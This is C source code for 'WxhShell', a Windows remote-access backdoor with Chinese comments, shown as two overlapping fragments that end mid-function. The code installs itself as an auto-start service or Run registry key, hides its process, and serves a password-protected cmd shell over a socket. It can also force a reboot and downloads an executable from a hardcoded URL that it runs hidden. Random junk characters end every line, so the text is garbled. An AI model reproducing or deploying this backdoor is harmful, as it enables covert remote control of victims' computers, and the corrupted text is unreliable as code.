    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \OT)KVwO  
    if(Boot(SHUTDOWN)) H<7DcwXv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy:`pYxhd  
    else { ;Jn0e:x`E  
    closesocket(wsh); RXS|-_$  
    ExitThread(0); sxwW9_C  
    } }Rxg E~ F  
    break; "`*a)'.'^c  
    } #_\MD,(  
  // 获取shell *u;">H*BW  
  case 's': { :_,]?n  
    CmdShell(wsh); "u8o?8+q~  
    closesocket(wsh); G,|]a#w&v.  
    ExitThread(0); *@n3>$  
    break; iZ6C8HK&&  
  } s_Oh >y?Aq  
  // 退出 ;Pqyu ?  
  case 'x': { q&d&#3Rh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7e{X$'  
    CloseIt(wsh); Q>a7Ps@~  
    break; /,N!g_"Z  
    } >dvWa-rNUT  
  // 离开 Bx : So6:  
  case 'q': { %i -X@.P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^lc}FN  
    closesocket(wsh); :`u&TXsu  
    WSACleanup(); K[>@'P}y  
    exit(1); UtBlP+bE?y  
    break; i,Wm{+H-O  
        } 3 s_k>cO=  
  } jw(> @SXz  
  } 26#Jhb E+  
ngY+Ym  
  // 提示信息 QJIItx4hE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(3c{y@~X  
} Ma=6kX]  
  } H(G^O&ppdB  
ncJFB,4  
  return; {[t"O u  
} n]C%(v!u3  
=Q8H]F  
// shell模块句柄 8Z4?X%  
int CmdShell(SOCKET sock) P-OPv%jyi  
{ S|q!? /jqj  
STARTUPINFO si; xV>iL(?  
ZeroMemory(&si,sizeof(si)); [b i3%yWh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vMZ7uO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L_lDFF  
PROCESS_INFORMATION ProcessInfo; qM1)3.)[:  
char cmdline[]="cmd"; V)1:LLRW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yg+IkQDf4U  
  return 0; 0gOrW=  
} Rw/JPC"  
y LgKS8b  
// 自身启动模式 <{NYD .  
int StartFromService(void) h-b5   
{ h/ X5w4  
typedef struct )}Rfa}MD  
{ ,P@/=I5  
  DWORD ExitStatus; $D/bU lFx  
  DWORD PebBaseAddress; TI[UX16Tz1  
  DWORD AffinityMask; U%^eIXV|  
  DWORD BasePriority; I)XOAf$6  
  ULONG UniqueProcessId; ;]&~D +XH  
  ULONG InheritedFromUniqueProcessId; :e&n.i^  
}   PROCESS_BASIC_INFORMATION; gVnws E  
u JQaHL!  
PROCNTQSIP NtQueryInformationProcess; dm,}Nbc91(  
(,Ja  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qF{DArc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QlRoe| {  
X<Th{kM2  
  HANDLE             hProcess; zY1s7/$ i  
  PROCESS_BASIC_INFORMATION pbi; =CKuiO.j  
5i4V5N>3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oEQ{m5O9  
  if(NULL == hInst ) return 0; y^d[( c  
KM/U?`6>:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [*9YIjn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gv#c~cX]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aVppOxA  
-3G 4vRIo  
  if (!NtQueryInformationProcess) return 0; 97(Xu=tX  
S$jV|xK B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <}EV*`w4  
  if(!hProcess) return 0; so!w!O@@  
1tc]rC4h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h6\3vfj^f  
<'}b*wUB  
  CloseHandle(hProcess); p<=(GY-  
?E+:]j_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M[YTk=IM#  
if(hProcess==NULL) return 0; QE 45!Z g  
*2,e=tY>  
HMODULE hMod; ^"O{o8l>2  
char procName[255];  (# 6<k  
unsigned long cbNeeded; r=~WMDCz@  
4{;8:ax&w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ([,vX"4  
{Ax)[<i  
  CloseHandle(hProcess); ^)f{q)to  
;-KA UgL2  
if(strstr(procName,"services")) return 1; // 以服务启动 >d8x<|D  
sK`~Csb iB  
  return 0; // 注册表启动 n#+%!HTh  
} )-+\M_JK5  
j3x^<a\gJ  
// 主模块 <%d51~@={I  
int StartWxhshell(LPSTR lpCmdLine) gDQkn {T.%  
{ .D8~)ZWN  
  SOCKET wsl; eg"=H50  
BOOL val=TRUE; aho'|%y)  
  int port=0; Hp)X^O"  
  struct sockaddr_in door; n7IL7?!o  
`z|= ~  
  if(wscfg.ws_autoins) Install(); pk-yj~F}  
NP K#].F  
port=atoi(lpCmdLine); V_&GYXx(J  
Zm%VG(l  
if(port<=0) port=wscfg.ws_port; kmm  
E rop9T1  
  WSADATA data; @br@[RpB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?HrK\f3wWO  
lLuID  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   de> ?*%<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ps U9R#HL1  
  door.sin_family = AF_INET; R K"&l!o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  L5"8G,I  
  door.sin_port = htons(port); Guk.,}9  
Qq#Ff\|4u(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J\het 2?\  
closesocket(wsl); L([E98fo  
return 1; ZCy`2Fir  
} 3@^MvoC  
tHrK~|  
  if(listen(wsl,2) == INVALID_SOCKET) { }.0Bl&\UK  
closesocket(wsl); ^)&Ly_xrU  
return 1; A <4_DVd@@  
} Ua):y) A  
  Wxhshell(wsl); L|&'jH)  
  WSACleanup(); $.H:8^W  
;~ W8v.EW  
return 0; Zimh _  
SArfczoB  
} G 1]"s@8(  
lj .nCV_  
// 以NT服务方式启动 kTnOmA w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >qR7'QwP  
{ vB[~pQ;Z  
DWORD   status = 0; *_`76`cz%X  
  DWORD   specificError = 0xfffffff; &^ V~cJ  
_i5mC,OffN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U?gl"6x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tbtI1"$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C>.e+V+':  
  serviceStatus.dwWin32ExitCode     = 0; 9 |' |BC  
  serviceStatus.dwServiceSpecificExitCode = 0; >; aCf#q  
  serviceStatus.dwCheckPoint       = 0; |#{-.r6Y]  
  serviceStatus.dwWaitHint       = 0; EQ4#fAM)  
'eD J@4Xm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \[:PykS  
  if (hServiceStatusHandle==0) return; *yJ[zXXjJ  
l^.K'Q1~a  
status = GetLastError(); $tI]rU  
  if (status!=NO_ERROR) XC=%H'p  
{ Y[2Wt%2\6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &e5(Djz8t  
    serviceStatus.dwCheckPoint       = 0; (=1)y'.  
    serviceStatus.dwWaitHint       = 0; l :/&E 6 9  
    serviceStatus.dwWin32ExitCode     = status; ,Du@2w3Cq  
    serviceStatus.dwServiceSpecificExitCode = specificError; N;uUx#z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?a S%  
    return; 4t04}vp  
  } `>s7M.|X  
CdY8 #+"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]<1HM"D  
  serviceStatus.dwCheckPoint       = 0; oizT-8i@N  
  serviceStatus.dwWaitHint       = 0; c! @F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U#bl=%bF  
} zbNA \.y  
dm6~  
// 处理NT服务事件,比如:启动、停止 eqq`TT#Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *l{yW"Su  
{ F!J J6d53y  
switch(fdwControl) BPqk "HG]T  
{ cB#nsu>  
case SERVICE_CONTROL_STOP: 'Y.Vn P&H  
  serviceStatus.dwWin32ExitCode = 0; []|;qHhC~(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D3`}4 A  
  serviceStatus.dwCheckPoint   = 0; Br}h/!NU/  
  serviceStatus.dwWaitHint     = 0; \i!Son.<  
  { ,|+Gls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vv6?V#{  
  } I]h-\;96  
  return; petW M@  
case SERVICE_CONTROL_PAUSE: n"6;\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P"1 S$oc  
  break; [8"ojhdV  
case SERVICE_CONTROL_CONTINUE: #Z\ O}<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cp#)wxi6[y  
  break; A3HF,EG  
case SERVICE_CONTROL_INTERROGATE: $J.T$0pFa  
  break; k@V#HC{t  
}; -?<4Og[^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {^5?)/<  
} @wp4 |G  
6"U8V ?E  
// 标准应用程序主函数 -I":Z2.fR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C9qJP^F  
{ 3NIUW!gr  
vfcb:x  
// 获取操作系统版本 GMW,*if8p  
OsIsNt=GetOsVer(); X<]qU3k5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rrg8{DZhv  
*f5l=lDOB  
  // 从命令行安装 EVt? C+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Vk\L~K  
dRI^@n  
  // 下载执行文件 w8iR|TV  
if(wscfg.ws_downexe) { #z!^ <,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ {#mpDX  
  WinExec(wscfg.ws_filenam,SW_HIDE); hXn3,3f3oZ  
} 9!U@"~yB  
\*0yaSQF  
if(!OsIsNt) { @ O>&5gB1u  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,RxYd6  
HideProc(); ^j)BKD-  
StartWxhshell(lpCmdLine); ^YvB9XN  
} ~u87H?  
else bU54-3Ox*  
  if(StartFromService()) R?66b{O  
  // 以服务方式启动 nkDy!"K  
  StartServiceCtrlDispatcher(DispatchTable); B[5r|d'  
else {/<6v. v  
  // 普通方式启动 T]T;$  
  StartWxhshell(lpCmdLine); 2Y!S_Hw8  
&<pKx!  
return 0; ?=;qK{)37  
} FG@ -bV  
wnLi2k/Dt<  
1w(JEqY3h:  
q2rUbU_A(  
=========================================== 8Q{9>^  
zTbVp8\pI  
w$Ot{i|$(  
`Y=WMNy  
SLfFqc+n0  
X>YsQrK(ig  
" '})0!g<Y  
A5'NGt  
#include <stdio.h> k67a'pmyJ  
#include <string.h> P + "Y  
#include <windows.h> jw}}^3.  
#include <winsock2.h> l1U=f]  
#include <winsvc.h> Cxod[$8  
#include <urlmon.h> K$K^=> I"o  
K_?W\Yg   
#pragma comment (lib, "Ws2_32.lib") [YrHA~=U  
#pragma comment (lib, "urlmon.lib") %1 vsN-O}8  
C;QAT  
#define MAX_USER   100 // 最大客户端连接数 jn >d*9u  
#define BUF_SOCK   200 // sock buffer ^.k |SK`U  
#define KEY_BUFF   255 // 输入 buffer BBG3OAyg_  
Io4(f  
#define REBOOT     0   // 重启 @yXfBML?]  
#define SHUTDOWN   1   // 关机 ofYlR|  
p Dx-2:}  
#define DEF_PORT   5000 // 监听端口 [.hyZ}B  
B+C);WQ,  
#define REG_LEN     16   // 注册表键长度 8}X5o]Mv  
#define SVC_LEN     80   // NT服务名长度 uXDq~`S  
g,o?q:FL  
// 从dll定义API '0y9MXRT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "<_0A f]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iRg7*MQu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =[\s8XH,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HHX-1+L  
r:&` $8$  
// wxhshell配置信息 @';B_iQ  
struct WSCFG { P&m\1W(  
  int ws_port;         // 监听端口 7XKY]|S,'  
  char ws_passstr[REG_LEN]; // 口令 b"!Q2S~  
  int ws_autoins;       // 安装标记, 1=yes 0=no "YdEE\  
  char ws_regname[REG_LEN]; // 注册表键名 8:BIbmtt5  
  char ws_svcname[REG_LEN]; // 服务名 ?pgG,=?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w.,Q1\*rPp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Le<w R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uZfnzd)c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +dA,P\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P=3RLL<l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W^3uEm&l!)  
322jR4QGr  
}; ]EwVpvTw  
|-V&O=!^+  
// default Wxhshell configuration 1]IQg;q  
struct WSCFG wscfg={DEF_PORT, l]~n3IK"  
    "xuhuanlingzhe", "S 3wk=?4  
    1, V[-jD8=' 3  
    "Wxhshell", lEHzyh}2k  
    "Wxhshell", :l|%17N  
            "WxhShell Service", '47P|t  
    "Wrsky Windows CmdShell Service", mUS_(0q  
    "Please Input Your Password: ", OHiQ7#y  
  1, w =. Fj  
  "http://www.wrsky.com/wxhshell.exe", [mEql,x3  
  "Wxhshell.exe" U=hlu  
    }; Y"-^%@|p  
,g%&|FAP  
// 消息定义模块 5~mh'<:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z2im@c67{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "D?z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z]b>VpW:  
char *msg_ws_ext="\n\rExit."; |t; ~:A  
char *msg_ws_end="\n\rQuit."; G8Nt 8U~  
char *msg_ws_boot="\n\rReboot..."; nqwAQhzy(  
char *msg_ws_poff="\n\rShutdown..."; 6s0_#wZC  
char *msg_ws_down="\n\rSave to "; c@v{`d  
cZ)}LX  
char *msg_ws_err="\n\rErr!"; DW)2 m;  
char *msg_ws_ok="\n\rOK!"; DJgTA]$&  
<SI}lQ'i  
char ExeFile[MAX_PATH]; ~ek$C  
int nUser = 0; 4 C}bJzZ  
HANDLE handles[MAX_USER]; `--TP  
int OsIsNt; A^q[N  
~z"= G5|  
SERVICE_STATUS       serviceStatus; @6l%,N<fou  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D#&q&6P{  
nLV9<M Zm  
// 函数声明 y*D]Q`5cag  
int Install(void); Oft4- 4$E  
int Uninstall(void); sP^R/z|Y  
int DownloadFile(char *sURL, SOCKET wsh); [s&$l G!  
int Boot(int flag); V+I|1{@i0  
void HideProc(void); t |~YEQ  
int GetOsVer(void); o.q/O)'V u  
int Wxhshell(SOCKET wsl); :n /@z4#  
void TalkWithClient(void *cs); |&Ym@Jyj  
int CmdShell(SOCKET sock); 6252N]*  
int StartFromService(void); wn)JXR  
int StartWxhshell(LPSTR lpCmdLine); ~I{n^Q/a  
+-E~6^>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1Bpv"67  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <{~6}6o  
;j4?>3  
// 数据结构和表定义 /4xki_}  
SERVICE_TABLE_ENTRY DispatchTable[] = Zh_|m#)  
{ ;|UF)QGa2  
{wscfg.ws_svcname, NTServiceMain}, bQ~j=\[r  
{NULL, NULL} x' .:&z  
}; -!c"k}N=  
u%.$BD Hg  
// 自我安装 da (km+  
int Install(void) @:KJYm[  
{ 26xXl|I  
  char svExeFile[MAX_PATH]; yRo- EP  
  HKEY key; :O(^w}sle  
  strcpy(svExeFile,ExeFile); ^5=B`aich  
xhRngHU\z<  
// 如果是win9x系统,修改注册表设为自启动 To?W?s  
if(!OsIsNt) { c+2FC@q{l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b$Vz2Fzx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /% N r?V  
  RegCloseKey(key); EY \H=@A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JGuN:c$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %'[&U#-  
  RegCloseKey(key); 1 5A*7|  
  return 0; _Gu- uuy  
    } n5{Xj:}  
  } Uh][@35 p  
} 1&e} ms  
else { =C~/7N,lW]  
}fKSqB]T-  
// 如果是NT以上系统,安装为系统服务  =|9H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9'r:~ O  
if (schSCManager!=0) gB<3-J1R  
{ 9Lr'YRl[W  
  SC_HANDLE schService = CreateService `3:.??7N  
  ( y K"kEA[;  
  schSCManager, %Qj;,#z  
  wscfg.ws_svcname, %Q.&ZhB  
  wscfg.ws_svcdisp, =9j8cC5y  
  SERVICE_ALL_ACCESS, F+@5C:<?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t*?0D\b 2  
  SERVICE_AUTO_START, e [8LmuIZ  
  SERVICE_ERROR_NORMAL, u?9" jX  
  svExeFile, !%c'$f/  
  NULL, clk[/'1  
  NULL, ,mj@sC>  
  NULL, ~V$ |i"  
  NULL, \|K;-pL  
  NULL Uf,4  
  ); ai{Sa U  
  if (schService!=0) a<@N-Exr  
  { G#?Sfn O0  
  CloseServiceHandle(schService); P LueVz  
  CloseServiceHandle(schSCManager); uV=Qp1~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v'BZs   
  strcat(svExeFile,wscfg.ws_svcname); 9 -rNw?7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0=K9`=5d0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rta:f800z  
  RegCloseKey(key); hiUD]5Kp  
  return 0; 0@EwM  
    } qM.bF&&Go  
  } 4T=u`3pD7l  
  CloseServiceHandle(schSCManager); kV3 8`s>+  
} N2w"R{)j\  
} 3"P }n  
5sb\r,kW  
return 1; eQ&ZX3*}  
} Ry|!pV  
8KRba4[  
// 自我卸载 f/V 2f].  
int Uninstall(void) [/X4"D-uOK  
{ ldp%{"ZZ  
  HKEY key; Hbpqyl%O>  
/"B?1?qc,=  
if(!OsIsNt) { DoeiW=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0fYj4`4=n  
  RegDeleteValue(key,wscfg.ws_regname); W>O~-2  
  RegCloseKey(key); 39=1f6I1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d$ ^ ,bL2p  
  RegDeleteValue(key,wscfg.ws_regname); gmm|A9+tv  
  RegCloseKey(key); zSFDUZ]A3  
  return 0; 1n@8Kv  
  } PnoPb k[<  
} Yc'kvj)_M  
} 2/0v B>  
else { n-%s8aaVf  
~}+Hgi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o0pII )v  
if (schSCManager!=0) h}xeChw]  
{ %%4t~XC#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [3!~PR]  
  if (schService!=0) et }T %~T  
  { AU$Uxwz4  
  if(DeleteService(schService)!=0) { _~T!9  
  CloseServiceHandle(schService); 1u6^z  
  CloseServiceHandle(schSCManager); _-#'j2  
  return 0; ka3u&3"  
  } vo#UtN:q  
  CloseServiceHandle(schService); +mp@b942*  
  } <-u8~N@43W  
  CloseServiceHandle(schSCManager); /;utcc  
} a(0*um(  
} smry2*g  
TEaJG9RU>v  
return 1; uNHF'?X  
} R>(@Z M&  
1Y]TA3:  
// 从指定url下载文件 J52 o g4l  
int DownloadFile(char *sURL, SOCKET wsh)  0gfA#|'  
{ 7=DjI ~  
  HRESULT hr; Y k5 }`d!:  
char seps[]= "/"; 48*Do}l]  
char *token; u6bXv(  
char *file; o!!yd8~*r  
char myURL[MAX_PATH]; 0eS)&GdR  
char myFILE[MAX_PATH]; pb=cBZ$  
7__Q1 > o  
strcpy(myURL,sURL); 4'LB7}WG  
  token=strtok(myURL,seps); mD/MJt5  
  while(token!=NULL) 7Ddaf>  
  { FGh] S-A  
    file=token; H `(exa:w  
  token=strtok(NULL,seps);  $O dCL  
  } gR}35:$Z-  
1)[]x9]^q'  
GetCurrentDirectory(MAX_PATH,myFILE); G3{=@Z1  
strcat(myFILE, "\\"); 1rDqa(7  
strcat(myFILE, file); =%> oR  
  send(wsh,myFILE,strlen(myFILE),0); NwZ@#D#[ Y  
send(wsh,"...",3,0); (bh95X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~mR'Q-hi<  
  if(hr==S_OK) eR3$i)5  
return 0; ryFxn|4  
else DmOyBtj  
return 1; 'GL*u#h  
U8G%YGMG.4  
} txPIG/  
 BouTcC  
// 系统电源模块 oun;rMq  
int Boot(int flag) \R3H+W  
{ 78/N   
  HANDLE hToken; *>+,(1Fz  
  TOKEN_PRIVILEGES tkp; E_bO9nRHV  
Y "VY%S^  
  if(OsIsNt) { V.{H9n]IO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;jipe3LU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xQ'2BAEa  
    tkp.PrivilegeCount = 1; 4sP2g&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w-0mzk"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q=9`06  
if(flag==REBOOT) { zD?K>I=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !eUDi(   
  return 0; K/}rP[H  
} bpxeznz  
else { P8?Fm`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pm9%%M$  
  return 0; gB4U*D0[e~  
} +a*^{l}AST  
  } (S v~2  
  else { $&2UTczp  
if(flag==REBOOT) { j8sH#b7Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u@4V7;L  
  return 0; 6HlePTf8  
} ,yTjU{<"  
else { <fs2fTUeqF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s\P2Bp_{  
  return 0; 2^^=iU=!<|  
} d`/tE?Gw  
} G7CG~:3h+  
zH*KYB  
return 1; %zO h  
} d%0~c'D8a  
MX ;J5(Ae  
// win9x进程隐藏模块 FEJ~k1z  
void HideProc(void) EMc;^ d  
{ DK oN}c  
"kA*Vc#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m-jHze`D3  
  if ( hKernel != NULL ) Tr#V*.x  
  { RTFZPq84  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :hI@AA>g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QzAK##9bfa  
    FreeLibrary(hKernel); =dx1/4bZl|  
  } STJJU]H  
5j-]EJb  
return;  fu9Cx  
} T =2=k&|  
2 6>ZW4Z  
// 获取操作系统版本 U. @*`Fg  
int GetOsVer(void) ''kS*3  
{ =Z+nX0qF  
  OSVERSIONINFO winfo; x1BobhU~Zl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [S@}T zE  
  GetVersionEx(&winfo); 0{j&6I2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "t0kAG  
  return 1; k}#;Uy=5  
  else ts8+V<g  
  return 0; ymNnkFv  
} NVl [kw  
zR32PG>9  
// 客户端句柄模块 yu;SH[{Wi  
int Wxhshell(SOCKET wsl) _kY#D;`:r  
{ W.w)H@]7m  
  SOCKET wsh; r lKlpl  
  struct sockaddr_in client; U`]T~9I  
  DWORD myID; G5FaYL.7  
ZKdeB3D  
  while(nUser<MAX_USER) gp-T"l  
{ nIvJrAm4k  
  int nSize=sizeof(client); Z'k|u4ZC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5H9r=a  
  if(wsh==INVALID_SOCKET) return 1; C -?!S  
:#lIx%l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ${8?N:>t  
if(handles[nUser]==0) 4Ua> Yw0  
  closesocket(wsh); 1lpwZ"  
else -&e92g&n   
  nUser++; [JaS??ig  
  } wlPx,UqZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > MH(0+B*  
F]I=+T   
  return 0; $.:mai  
} W k}AmC  
X.TI>90{  
// 关闭 socket nJbbzQ,e  
void CloseIt(SOCKET wsh) (S^8UV  
{ Ou>vX[{  
closesocket(wsh); )}L??|#  
nUser--; BJS-Jy$-  
ExitThread(0); ~j'l.gQb  
} "p3_y`h6+  
9TAj) {U%'  
// 客户端请求句柄 SI6B#u-i  
void TalkWithClient(void *cs) [>|FB'  
{ >\!4Mk8  
Bu]t*$  
  SOCKET wsh=(SOCKET)cs; LA[g(i 7  
  char pwd[SVC_LEN]; jp+_@S>  
  char cmd[KEY_BUFF]; Pe2wsR"_U  
char chr[1]; dr<<!q /  
int i,j; i7LJ&g/)  
cUO<.  
  while (nUser < MAX_USER) { {ccIxL /~  
7_# 1Ec|;  
if(wscfg.ws_passstr) { 4c+$%pq5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^W7X(LQ*+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '>(.%@  
  //ZeroMemory(pwd,KEY_BUFF); OD=!&LM  
      i=0; #pHs@uvO  
  while(i<SVC_LEN) { _U{&@}3  
&J!aw  
  // 设置超时 6q>+!kXh  
  fd_set FdRead; [/_+>M  
  struct timeval TimeOut; =\t /u  
  FD_ZERO(&FdRead); dXn%lJ  
  FD_SET(wsh,&FdRead); 5TUNX^AW  
  TimeOut.tv_sec=8; s9oO%e<  
  TimeOut.tv_usec=0; LG]3hz9^9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |7@O( $b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AddeaB5<  
ejXMKPE;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *U#m+@\0  
  pwd=chr[0]; ^JR;epVJ  
  if(chr[0]==0xd || chr[0]==0xa) { A%\tiZe  
  pwd=0; J`*iZvW#Bx  
  break; Q# ?wXX47  
  } M=]5WZO~A  
  i++; X _$a,"'~)  
    } 8I,QD` xu  
]8;n{ }X  
  // 如果是非法用户,关闭 socket G9g6.8*&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); },[;O^Do^{  
} Pj?Dmk~   
 st 'D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gf)t)-E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j 6ut}Uq  
B%\gkl  
while(1) { mceG!@t  
q*)+K9LRk  
  ZeroMemory(cmd,KEY_BUFF); rbqo"g`  
FP"$tt(  
      // 自动支持客户端 telnet标准   N]YtLa,t  
  j=0; Jg$xO@.  
  while(j<KEY_BUFF) { kVS?RHR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ov82ibp_1  
  cmd[j]=chr[0]; s0hBbL0DH  
  if(chr[0]==0xa || chr[0]==0xd) { ;o<m}bGaT  
  cmd[j]=0; Tx%VU8\?n  
  break; b @;.F!x  
  } pe&UQ C^  
  j++; ]=F8p2w?  
    } fMf&?`V  
kJ)gP2E  
  // 下载文件 9TxyZL   
  if(strstr(cmd,"http://")) { as"N=\N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /\Q*MLwD  
  if(DownloadFile(cmd,wsh)) =wq;@'U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(2 R <A  
  else 'PWQnt_U  
